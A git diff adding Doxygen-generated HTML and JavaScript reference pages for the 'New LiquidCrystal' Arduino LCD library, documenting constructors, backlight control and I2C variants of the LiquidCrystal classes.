 LiquidCrystal (uint8_t rs, uint8_t enable, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7)
 
+ LiquidCrystal (uint8_t rs, uint8_t rw, uint8_t enable, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7)
 
+ LiquidCrystal (uint8_t rs, uint8_t enable, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t backlightPin, t_backlighPol pol)
 
+ LiquidCrystal (uint8_t rs, uint8_t rw, uint8_t enable, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t backlightPin, t_backlighPol pol)
 
 LiquidCrystal (uint8_t rs, uint8_t rw, uint8_t enable, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3)
 
+ LiquidCrystal (uint8_t rs, uint8_t enable, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3)
 
+ LiquidCrystal (uint8_t rs, uint8_t rw, uint8_t enable, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t backlightPin, t_backlighPol pol)
 
+ LiquidCrystal (uint8_t rs, uint8_t enable, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t backlightPin, t_backlighPol pol)
 
virtual void send (uint8_t value, uint8_t mode)
 
void setBacklightPin (uint8_t pin, t_backlighPol pol)
 
void setBacklight (uint8_t value)
 
- Public Member Functions inherited from LCD
 LCD ()
 
virtual void begin (uint8_t cols, uint8_t rows, uint8_t charsize=LCD_5x8DOTS)
 
void clear ()
 
void home ()
 
void noDisplay ()
 
void display ()
 
void noBlink ()
 
void blink ()
 
void noCursor ()
 
void cursor ()
 
void scrollDisplayLeft ()
 
void scrollDisplayRight ()
 
void leftToRight ()
 
void rightToLeft ()
 
void moveCursorLeft ()
 
void moveCursorRight ()
 
void autoscroll ()
 
void noAutoscroll ()
 
void createChar (uint8_t location, uint8_t charmap[])
 
void setCursor (uint8_t col, uint8_t row)
 
void backlight (void)
 
void noBacklight (void)
 
void on (void)
 
void off (void)
 
virtual void write (uint8_t value)
 
+ + + + + + + + + + + + + + +

+Additional Inherited Members

- Protected Attributes inherited from LCD
+uint8_t _displayfunction
 
+uint8_t _displaycontrol
 
+uint8_t _displaymode
 
+uint8_t _numlines
 
+uint8_t _cols
 
+t_backlighPol _polarity
 
+

Constructor & Destructor Documentation

+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
LiquidCrystal::LiquidCrystal (uint8_t rs,
uint8_t enable,
uint8_t d0,
uint8_t d1,
uint8_t d2,
uint8_t d3,
uint8_t d4,
uint8_t d5,
uint8_t d6,
uint8_t d7 
)
+
+

8 bit LCD constructors. Defines the pin assignment that the LCD will have. The constructor does not initialize the LCD.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
LiquidCrystal::LiquidCrystal (uint8_t rs,
uint8_t rw,
uint8_t enable,
uint8_t d0,
uint8_t d1,
uint8_t d2,
uint8_t d3 
)
+
+

4 bit LCD constructors. Defines the pin assignment that the LCD will have. The constructor does not initialize the LCD.

+ +
+
+

Member Function Documentation

+ +
+
+ + + + + +
+ + + + + + + + + + + + + + + + + + +
void LiquidCrystal::send (uint8_t value,
uint8_t mode 
)
+ 		+virtual
+
+

Send a particular value to the LCD. Sends a particular value to the LCD for writing to the LCD or as an LCD command.

+

Users should never call this method.

+
Parameters
+ + +
valueValue to send to the LCD.
+
+
+
Returns
mode LOW - write to the LCD CGRAM, HIGH - write a command to the LCD.
+ +

Reimplemented from LCD.

+ +
+
+ +
+
+ + + + + +
+ + + + + + + + +
void LiquidCrystal::setBacklight (uint8_t value)
+ 		+virtual
+
+

Switch-on/off the LCD backlight. Switch-on/off the LCD backlight. The setBacklightPin has to be called before setting the backlight for this method to work.

See also
setBacklightPin. For dimming control of the backlight, the configuration pin must be a PWM output pin. Dim control is achieved by passing a value from 1 to 255 as a parameter. If the pin configured when calling the setBacklightPin does not support PWM, then: (0) backlight off, (1..255) backlight on.
+
Parameters
+ + +
valuebacklight value. 0: off, 1..255: dim control of the backlight. For negative logic 255: off, 254..0: dim control.
+
+
+ +

Reimplemented from LCD.

+ +
+
+ +
+
+ + + + + +
+ + + + + + + + + + + + + + + + + + +
void LiquidCrystal::setBacklightPin (uint8_t pin,
t_backlighPol pol 
)
+ 		+virtual
+
+

Sets the pin to control the backlight. Sets the pin in the device to control the backlight.

+
Parameters
+ + + +
pinpin assigned to the backlight
polbacklight pin control polarity (POSITIVE, NEGATIVE).
+
+
+ +

Reimplemented from LCD.

+ +
+
+
The documentation for this class was generated from the following files:
    +
  • /Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/LiquidCrystal.h
    • +
  • /Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/LiquidCrystal.cpp
    • +
+
+ +
+Generated by   +doxygen + 1.8.10 +
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+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + + +
+
+ + +
+ +
+ +
+
+
+
LiquidCrystal_I2C Member List
+
+
+ +

This is the complete list of members for LiquidCrystal_I2C, including all inherited members.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
_cols (defined in LCD)LCDprotected
_displaycontrol (defined in LCD)LCDprotected
_displayfunction (defined in LCD)LCDprotected
_displaymode (defined in LCD)LCDprotected
_numlines (defined in LCD)LCDprotected
_polarity (defined in LCD)LCDprotected
autoscroll()LCD
backlight(void)LCD
begin(uint8_t cols, uint8_t rows, uint8_t charsize=LCD_5x8DOTS)LiquidCrystal_I2Cvirtual
blink()LCD
clear()LCD
createChar(uint8_t location, uint8_t charmap[])LCD
cursor()LCD
display()LCD
home()LCD
LCD()LCD
leftToRight()LCD
LiquidCrystal_I2C(uint8_t lcd_Addr)LiquidCrystal_I2C
LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t backlighPin, t_backlighPol pol) (defined in LiquidCrystal_I2C)LiquidCrystal_I2C
LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs)LiquidCrystal_I2C
LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, uint8_t backlighPin, t_backlighPol pol) (defined in LiquidCrystal_I2C)LiquidCrystal_I2C
LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7)LiquidCrystal_I2C
LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t backlighPin, t_backlighPol pol) (defined in LiquidCrystal_I2C)LiquidCrystal_I2C
moveCursorLeft()LCD
moveCursorRight()LCD
noAutoscroll()LCD
noBacklight(void)LCD
noBlink()LCD
noCursor()LCD
noDisplay()LCD
off(void)LCD
on(void)LCD
rightToLeft()LCD
scrollDisplayLeft()LCD
scrollDisplayRight()LCD
send(uint8_t value, uint8_t mode)LiquidCrystal_I2Cvirtual
setBacklight(uint8_t value)LiquidCrystal_I2Cvirtual
setBacklightPin(uint8_t value, t_backlighPol pol)LiquidCrystal_I2Cvirtual
setCursor(uint8_t col, uint8_t row)LCD
write(uint8_t value)LCDvirtual
+ +
+Generated by   +doxygen + 1.8.10 +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___i2_c.html b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___i2_c.html new file mode 100644 index 0000000..3b6fd86 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___i2_c.html @@ -0,0 +1,536 @@ + + + + + + +New LiquidCrystal library: LiquidCrystal_I2C Class Reference + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + + +
+
+ + +
+ +
+ +
+
+
+Public Member Functions | +List of all members
+
+
LiquidCrystal_I2C Class Reference
+
+
+
+Inheritance diagram for LiquidCrystal_I2C:
+
+
+ + +LCD + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

+Public Member Functions

 LiquidCrystal_I2C (uint8_t lcd_Addr)
 
+ LiquidCrystal_I2C (uint8_t lcd_Addr, uint8_t backlighPin, t_backlighPol pol)
 
 LiquidCrystal_I2C (uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs)
 
+ LiquidCrystal_I2C (uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, uint8_t backlighPin, t_backlighPol pol)
 
 LiquidCrystal_I2C (uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7)
 
+ LiquidCrystal_I2C (uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t backlighPin, t_backlighPol pol)
 
virtual void begin (uint8_t cols, uint8_t rows, uint8_t charsize=LCD_5x8DOTS)
 
virtual void send (uint8_t value, uint8_t mode)
 
void setBacklightPin (uint8_t value, t_backlighPol pol)
 
void setBacklight (uint8_t value)
 
- Public Member Functions inherited from LCD
 LCD ()
 
void clear ()
 
void home ()
 
void noDisplay ()
 
void display ()
 
void noBlink ()
 
void blink ()
 
void noCursor ()
 
void cursor ()
 
void scrollDisplayLeft ()
 
void scrollDisplayRight ()
 
void leftToRight ()
 
void rightToLeft ()
 
void moveCursorLeft ()
 
void moveCursorRight ()
 
void autoscroll ()
 
void noAutoscroll ()
 
void createChar (uint8_t location, uint8_t charmap[])
 
void setCursor (uint8_t col, uint8_t row)
 
void backlight (void)
 
void noBacklight (void)
 
void on (void)
 
void off (void)
 
virtual void write (uint8_t value)
 
+ + + + + + + + + + + + + + +

+Additional Inherited Members

- Protected Attributes inherited from LCD
+uint8_t _displayfunction
 
+uint8_t _displaycontrol
 
+uint8_t _displaymode
 
+uint8_t _numlines
 
+uint8_t _cols
 
+t_backlighPol _polarity
 
+

Constructor & Destructor Documentation

+ +
+
+ + + + + + + + +
LiquidCrystal_I2C::LiquidCrystal_I2C (uint8_t lcd_Addr)
+
+

Class constructor. Initializes class variables and defines the I2C address of the LCD. The constructor does not initialize the LCD.

+
Parameters
+ + +
lcd_Addr[in]I2C address of the IO expansion module. For I2CLCDextraIO, the address can be configured using the on board jumpers.
+
+
+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
LiquidCrystal_I2C::LiquidCrystal_I2C (uint8_t lcd_Addr,
uint8_t En,
uint8_t Rw,
uint8_t Rs 
)
+
+

Class constructor. Initializes class variables and defines the I2C address of the LCD. The constructor does not initialize the LCD.

+
Parameters
+ + + + + +
lcd_Addr[in]I2C address of the IO expansion module. For I2CLCDextraIO, the address can be configured using the on board jumpers.
En[in]LCD En (Enable) pin connected to the IO extender module
Rw[in]LCD Rw (Read/write) pin connected to the IO extender module
Rs[in]LCD Rs (Reset) pin connected to the IO extender module
+
+
+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
LiquidCrystal_I2C::LiquidCrystal_I2C (uint8_t lcd_Addr,
uint8_t En,
uint8_t Rw,
uint8_t Rs,
uint8_t d4,
uint8_t d5,
uint8_t d6,
uint8_t d7 
)
+
+

Class constructor. Initializes class variables and defines the I2C address of the LCD. The constructor does not initialize the LCD.

+
Parameters
+ + + + + + + + + +
lcd_Addr[in]I2C address of the IO expansion module. For I2CLCDextraIO, the address can be configured using the on board jumpers.
En[in]LCD En (Enable) pin connected to the IO extender module
Rw[in]LCD Rw (Read/write) pin connected to the IO extender module
Rs[in]LCD Rs (Reset) pin connected to the IO extender module
d4[in]LCD data 0 pin map on IO extender module
d5[in]LCD data 1 pin map on IO extender module
d6[in]LCD data 2 pin map on IO extender module
d7[in]LCD data 3 pin map on IO extender module
+
+
+ +
+
+

Member Function Documentation

+ +
+
+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + +
void LiquidCrystal_I2C::begin (uint8_t cols,
uint8_t rows,
uint8_t charsize = LCD_5x8DOTS 
)
+ 		+virtual
+
+

LCD initialization and associated HW. Initializes the LCD to a given size (col, row). This methods initializes the LCD, therefore, it MUST be called prior to using any other method from this class or parent class.

+

The begin method can be overloaded if necessary to initialize any HW that is implemented by a library and can't be done during construction, here we use the Wire class.

+
Parameters
+ + + + +
cols[in]the number of columns that the display has
rows[in]the number of rows that the display has
charsize[in]size of the characters of the LCD: LCD_5x8DOTS or LCD_5x10DOTS.
+
+
+ +

Reimplemented from LCD.

+ +
+
+ +
+
+ + + + + +
+ + + + + + + + + + + + + + + + + + +
void LiquidCrystal_I2C::send (uint8_t value,
uint8_t mode 
)
+ 		+virtual
+
+

Send a particular value to the LCD. Sends a particular value to the LCD for writing to the LCD or as an LCD command.

+

Users should never call this method.

+
Parameters
+ + + +
value[in]Value to send to the LCD.
mode[in]DATA - write to the LCD CGRAM, COMMAND - write a command to the LCD.
+
+
+ +

Reimplemented from LCD.

+ +
+
+ +
+
+ + + + + +
+ + + + + + + + +
void LiquidCrystal_I2C::setBacklight (uint8_t value)
+ 		+virtual
+
+

Switch-on/off the LCD backlight. Switch-on/off the LCD backlight. The setBacklightPin has to be called before setting the backlight for this method to work.

See also
setBacklightPin.
+
Parameters
+ + +
valuebacklight mode (HIGH|LOW)
+
+
+ +

Reimplemented from LCD.

+ +
+
+ +
+
+ + + + + +
+ + + + + + + + + + + + + + + + + + +
void LiquidCrystal_I2C::setBacklightPin (uint8_t value,
t_backlighPol pol = POSITIVE 
)
+ 		+virtual
+
+

Sets the pin to control the backlight. Sets the pin in the device to control the backlight. This device doesn't support dimming backlight capability.

+
Parameters
+ + +
0backlight off, 1..255: backlight on.
+
+
+ +

Reimplemented from LCD.

+ +
+
+
The documentation for this class was generated from the following files:
    +
  • /Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/LiquidCrystal_I2C.h
    • +
  • /Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/LiquidCrystal_I2C.cpp
    • +
+
+ +
+Generated by   +doxygen + 1.8.10 +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___i2_c.js b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___i2_c.js new file mode 100644 index 0000000..d5abd91 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___i2_c.js @@ -0,0 +1,13 @@ +var class_liquid_crystal___i2_c = +[ + [ "LiquidCrystal_I2C", "class_liquid_crystal___i2_c.html#aac537d195557e0b8afac1a71441a484c", null ], + [ "LiquidCrystal_I2C", "class_liquid_crystal___i2_c.html#a9fc9bc519ebbf7503dadc11622e02ed6", null ], + [ "LiquidCrystal_I2C", "class_liquid_crystal___i2_c.html#a517f8847ebf09f0eacfb9c7232975fce", null ], + [ "LiquidCrystal_I2C", "class_liquid_crystal___i2_c.html#add1f2da7de4ec9b9cd5c9b5fab712464", null ], + [ "LiquidCrystal_I2C", "class_liquid_crystal___i2_c.html#a7d9b54d3a91fa0e0e50db27cda6b4654", null ], + [ "LiquidCrystal_I2C", "class_liquid_crystal___i2_c.html#ab15622287533de7a47f3e2012ebf18be", null ], + [ "begin", "class_liquid_crystal___i2_c.html#aeee2ada537f0cfbfda8613324b57c4a6", null ], + [ "send", "class_liquid_crystal___i2_c.html#a8bf1fab7efe13e8b17b96c42d1f810b4", null ], + [ "setBacklight", "class_liquid_crystal___i2_c.html#af11b8fa0082616e2b6e6e4238589d8a8", null ], + [ "setBacklightPin", "class_liquid_crystal___i2_c.html#a2eaf86f62d1f169b3763b03fbf88f70b", null ] +]; \ No newline at end of file diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___i2_c.png b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___i2_c.png new file mode 100644 index 0000000000000000000000000000000000000000..b5a4174bbb11b415e8709ad4851a0fb75913f0ca GIT binary patch literal 603 zcmeAS@N?(olHy`uVBq!ia0vp^`9R#k!3-qtMY(1GDTx4|5ZC|z{{xvX-h3_XKQsZz z0^SDr48Ar*{o=RPc3tsubG{#9oG_xi`P zR|uX^&GgzndtOAO`JgX+2|9Q;+e_i~| zf9sdO-g!*N^Zd*&xtlgmSRy{Ny1u$6SJ89*ho3(#seASpe5?(x^SUJNIbY@HL_5z< zk9qe6d37=;w23NANVvc27*}(xc!{|n=fiFOS3m)IY;|6=&# zA>SbXl38Md&S@cz?wOGiFO7{qKTiLBsb=T&zXWlqJtBJ0(yz6DW`TC4cR}Frz znt79b$$S1^k3N0gcE9P{{Fyhed(59XQy#35cVBAcGz*5b2u3E(Z)>yH7~Cko*vhrI zcE6qdW%dUiaQi+e*D}<>9n-+LbczrMt3nUZX&=qv<4wM2Z(J&Vz;^4_{ky*Av)%j6 zz?QREzO4GeZr&{RzDKvsPG0=Dro7)OKmPsO#5an6(%-T5)!u$^Z2R@w?pJqiKmK>g zuF}ePuOCU + + + + + +New LiquidCrystal library: Member List + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + + +
+
+ + +
+ +
+ +
+
+
+
LiquidCrystal_I2C_ByVac Member List
+
+
+ +

This is the complete list of members for LiquidCrystal_I2C_ByVac, including all inherited members.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
_cols (defined in LCD)LCDprotected
_displaycontrol (defined in LCD)LCDprotected
_displayfunction (defined in LCD)LCDprotected
_displaymode (defined in LCD)LCDprotected
_numlines (defined in LCD)LCDprotected
_polarity (defined in LCD)LCDprotected
autoscroll()LCD
backlight(void)LCD
begin(uint8_t cols, uint8_t rows, uint8_t charsize=LCD_5x8DOTS)LiquidCrystal_I2C_ByVacvirtual
blink()LCD
clear()LCD
createChar(uint8_t location, uint8_t charmap[])LCD
cursor()LCD
display()LCD
home()LCD
LCD()LCD
leftToRight()LCD
LiquidCrystal_I2C_ByVac(uint8_t lcd_Addr)LiquidCrystal_I2C_ByVac
moveCursorLeft()LCD
moveCursorRight()LCD
noAutoscroll()LCD
noBacklight(void)LCD
noBlink()LCD
noCursor()LCD
noDisplay()LCD
off(void)LCD
on(void)LCD
rightToLeft()LCD
scrollDisplayLeft()LCD
scrollDisplayRight()LCD
send(uint8_t value, uint8_t mode)LiquidCrystal_I2C_ByVacvirtual
setBacklight(uint8_t value)LiquidCrystal_I2C_ByVacvirtual
setBacklightPin(uint8_t value, t_backlighPol pol)LCDinlinevirtual
setContrast(uint8_t value)LiquidCrystal_I2C_ByVac
setCursor(uint8_t col, uint8_t row)LCD
write(uint8_t value)LCDvirtual
+ +
+Generated by   +doxygen + 1.8.10 +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___i2_c___by_vac.html b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___i2_c___by_vac.html new file mode 100644 index 0000000..c140a4e --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___i2_c___by_vac.html @@ -0,0 +1,381 @@ + + + + + + +New LiquidCrystal library: LiquidCrystal_I2C_ByVac Class Reference + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + + +
+
+ + +
+ +
+ +
+
+
+Public Member Functions | +List of all members
+
+
LiquidCrystal_I2C_ByVac Class Reference
+
+
+
+Inheritance diagram for LiquidCrystal_I2C_ByVac:
+
+
+ + +LCD + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

+Public Member Functions

 LiquidCrystal_I2C_ByVac (uint8_t lcd_Addr)
 
virtual void begin (uint8_t cols, uint8_t rows, uint8_t charsize=LCD_5x8DOTS)
 
virtual void send (uint8_t value, uint8_t mode)
 
void setBacklight (uint8_t value)
 
void setContrast (uint8_t value)
 
- Public Member Functions inherited from LCD
 LCD ()
 
void clear ()
 
void home ()
 
void noDisplay ()
 
void display ()
 
void noBlink ()
 
void blink ()
 
void noCursor ()
 
void cursor ()
 
void scrollDisplayLeft ()
 
void scrollDisplayRight ()
 
void leftToRight ()
 
void rightToLeft ()
 
void moveCursorLeft ()
 
void moveCursorRight ()
 
void autoscroll ()
 
void noAutoscroll ()
 
void createChar (uint8_t location, uint8_t charmap[])
 
void setCursor (uint8_t col, uint8_t row)
 
void backlight (void)
 
void noBacklight (void)
 
void on (void)
 
void off (void)
 
virtual void setBacklightPin (uint8_t value, t_backlighPol pol)
 
virtual void write (uint8_t value)
 
+ + + + + + + + + + + + + + +

+Additional Inherited Members

- Protected Attributes inherited from LCD
+uint8_t _displayfunction
 
+uint8_t _displaycontrol
 
+uint8_t _displaymode
 
+uint8_t _numlines
 
+uint8_t _cols
 
+t_backlighPol _polarity
 
+

Constructor & Destructor Documentation

+ +
+
+ + + + + + + + +
LiquidCrystal_I2C_ByVac::LiquidCrystal_I2C_ByVac (uint8_t lcd_Addr)
+
+

Class constructor. Initializes class variables and defines the I2C address of the LCD. The constructor does not initialize the LCD.

+
Parameters
+ + +
lcd_Addr[in]I2C address of the IO expansion module. For BV4218, the address can be configured using the address commands (to be implemented).
+
+
+ +
+
+

Member Function Documentation

+ +
+
+ + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + +
void LiquidCrystal_I2C_ByVac::begin (uint8_t cols,
uint8_t rows,
uint8_t charsize = LCD_5x8DOTS 
)
+ 		+virtual
+
+

LCD initialization and associated HW. Initializes the LCD to a given size (col, row). This methods initializes the LCD, therefore, it MUST be called prior to using any other method from this class or parent class.

+

The begin method can be overloaded if necessary to initialize any HW that is implemented by a library and can't be done during construction, here we use the Wire class.

+
Parameters
+ + + + +
cols[in]the number of columns that the display has
rows[in]the number of rows that the display has
charsize[in]size of the characters of the LCD: LCD_5x8DOTS or LCD_5x10DOTS.
+
+
+ +

Reimplemented from LCD.

+ +
+
+ +
+
+ + + + + +
+ + + + + + + + + + + + + + + + + + +
void LiquidCrystal_I2C_ByVac::send (uint8_t value,
uint8_t mode 
)
+ 		+virtual
+
+

Send a particular value to the LCD. Sends a particular value to the LCD for writing to the LCD or as an LCD command.

+

Users should never call this method.

+
Parameters
+ + + +
value[in]Value to send to the LCD.
mode[in]DATA - write to the LCD CGRAM, COMMAND - write a command to the LCD.
+
+
+ +

Reimplemented from LCD.

+ +
+
+ +
+
+ + + + + +
+ + + + + + + + +
void LiquidCrystal_I2C_ByVac::setBacklight (uint8_t value)
+ 		+virtual
+
+

Switch-on/off the LCD backlight. Switch-on/off the LCD backlight.

+
Parameters
+ + +
valuebacklight mode (HIGH|LOW)
+
+
+ +

Reimplemented from LCD.

+ +
+
+ +
+
+ + + + + + + + +
void LiquidCrystal_I2C_ByVac::setContrast (uint8_t value)
+
+

Switch-on/off the LCD contrast. Switch-on/off the LCD contrast.

+
Parameters
+ + +
valuecontrast mode (HIGH|LOW)
+
+
+ +
+
+
The documentation for this class was generated from the following files:
    +
  • /Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/LiquidCrystal_I2C_ByVac.h
    • +
  • /Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/LiquidCrystal_I2C_ByVac.cpp
    • +
+
+ +
+Generated by   +doxygen + 1.8.10 +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___i2_c___by_vac.js b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___i2_c___by_vac.js new file mode 100644 index 0000000..7466790 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___i2_c___by_vac.js @@ -0,0 +1,8 @@ +var class_liquid_crystal___i2_c___by_vac = +[ + [ "LiquidCrystal_I2C_ByVac", "class_liquid_crystal___i2_c___by_vac.html#a29c027cc8bfa78bb8d9ff3124fe83a31", null ], + [ "begin", "class_liquid_crystal___i2_c___by_vac.html#a34ce9cf919b9f8de59f842a4e94c1abb", null ], + [ "send", "class_liquid_crystal___i2_c___by_vac.html#a9e64cc68ec5df1a0fa421a242239b1b1", null ], + [ "setBacklight", "class_liquid_crystal___i2_c___by_vac.html#a9b16e6ce123e2ebe3a3e33b2306e66a7", null ], + [ "setContrast", "class_liquid_crystal___i2_c___by_vac.html#a53c79a20e8d21d2c3bc9e6d0dfc79cb4", null ] +]; \ No newline at end of file diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___i2_c___by_vac.png b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___i2_c___by_vac.png new file mode 100644 index 0000000000000000000000000000000000000000..44537f6222c017b94feecd31484dd83caf658cbe GIT binary patch literal 730 zcmeAS@N?(olHy`uVBq!ia0vp^bAY&mgBeJwDi(bLQW60^A+G=b{|7Q(y!l$%e`o@b z1;z&s9ANFdBM;o~Y#ln<_-666)4F-c_dl*uamn(Cf%ZYR!mZVm5C^Q`JtEUKNF zP?Y-bzeSBqe}>nj_KiiGZ^n6Cisp$e_Wtt9Y0@8_?wC`am*PJuKXpo3ty0SkG9bur zlFgDiDwQ32;a-}Kj1ni96|^QkmFquHHu34ayu!Cmr&G5v{qV44;MZh-p!k%*W{FHg z`xNF66N(t*g7^+NpJJ>)lKi8#GjrCm6$UeB9#wgI<_yr}nKRo3i&E_?|E)cGFD>m^ z>XJJ#cKp$qY2U<{pY}0q3pF;D*Gx})rU+8~=l{)JZ?grzTN-c92Md6;Pcb(BED)PF zYni4719K&Vi|VF3j|Fe&ZMt(=cU^48&NE>Q^29g|3gm*Wuy}Yt9yw*3b^1;^1*$L~e9)3IB zew{93)S|+RIab?>w*LN>wrY{S`T3BOx?ijAB|rI9Ue~1dNdLsuhdU-`D_x(vJ@bw0 z%Zf_zouy}EmC8B4NEf}fwh*iT&Y7pY{cgbXvkW_zJytiro6B%qrMgn`QQ6tG=QqwX zRgU?R|HSU>waa(Pv)^&NT6gVA|Jzk{(cRx>t^L}!&*bgT>vx|^{m$)(+s1VDee3yS z4f?0Uop(I7+nwC!{oT80=clJCaXae;w$K0ckiEkV7)g-${mH!SYyGPEd!0gn36a6m L)z4*}Q$iB}JO5IE literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_i2_c-members.html b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_i2_c-members.html new file mode 100644 index 0000000..f8d58d4 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/class_liquid_crystal___s_i2_c-members.html @@ -0,0 +1,143 @@ + + + + + + +New LiquidCrystal library: Member List + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + + +
+
+ + +
+ +
+ +
+
+
+
LiquidCrystal_SI2C Member List
+
+
+ +

This is the complete list of members for LiquidCrystal_SI2C, including all inherited members.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
_cols (defined in LCD)LCDprotected
_displaycontrol (defined in LCD)LCDprotected
_displayfunction (defined in LCD)LCDprotected
_displaymode (defined in LCD)LCDprotected
_numlines (defined in LCD)LCDprotected
_polarity (defined in LCD)LCDprotected
autoscroll()LCD
backlight(void)LCD
begin(uint8_t cols, uint8_t rows, uint8_t charsize=LCD_5x8DOTS)LiquidCrystal_SI2Cvirtual
blink()LCD
clear()LCD
createChar(uint8_t location, uint8_t charmap[])LCD
cursor()LCD
display()LCD
home()LCD
LCD()LCD
leftToRight()LCD
LiquidCrystal_SI2C(uint8_t lcd_Addr)LiquidCrystal_SI2C
LiquidCrystal_SI2C(uint8_t lcd_Addr, uint8_t backlighPin, t_backlighPol pol) (defined in LiquidCrystal_SI2C)LiquidCrystal_SI2C
LiquidCrystal_SI2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs)LiquidCrystal_SI2C
LiquidCrystal_SI2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, uint8_t backlighPin, t_backlighPol pol) (defined in LiquidCrystal_SI2C)LiquidCrystal_SI2C
LiquidCrystal_SI2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7)LiquidCrystal_SI2C
LiquidCrystal_SI2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t backlighPin, t_backlighPol pol) (defined in LiquidCrystal_SI2C)LiquidCrystal_SI2C
moveCursorLeft()LCD
moveCursorRight()LCD
noAutoscroll()LCD
noBacklight(void)LCD
noBlink()LCD
noCursor()LCD
noDisplay()LCD
off(void)LCD
on(void)LCD
rightToLeft()LCD
scrollDisplayLeft()LCD
scrollDisplayRight()LCD
send(uint8_t value, uint8_t mode)LiquidCrystal_SI2Cvirtual
setBacklight(uint8_t value)LiquidCrystal_SI2Cvirtual
setBacklightPin(uint8_t value, t_backlighPol pol)LiquidCrystal_SI2Cvirtual
